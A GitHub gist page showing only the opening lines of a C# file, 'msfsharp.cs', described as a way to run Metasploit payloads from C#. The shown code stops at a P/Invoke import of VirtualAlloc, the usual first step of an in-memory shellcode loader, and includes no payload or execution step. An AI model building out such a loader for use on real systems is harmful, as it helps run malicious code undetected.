Skip to content

Instantly share code, notes, and snippets.

View thetilliwilli's full-sized avatar

TilliWilli thetilliwilli

View GitHub Profile
@lager1
lager1 / msfsharp.cs
Created March 24, 2020 00:27
Run MSF payloads from C#
using System;
using System.IO;
using System.Runtime.InteropServices;
namespace UnmanagedCode
{
class Program
{
[DllImport("kernel32")]
static extern IntPtr VirtualAlloc(IntPtr ptr, IntPtr size, IntPtr type, IntPtr mode);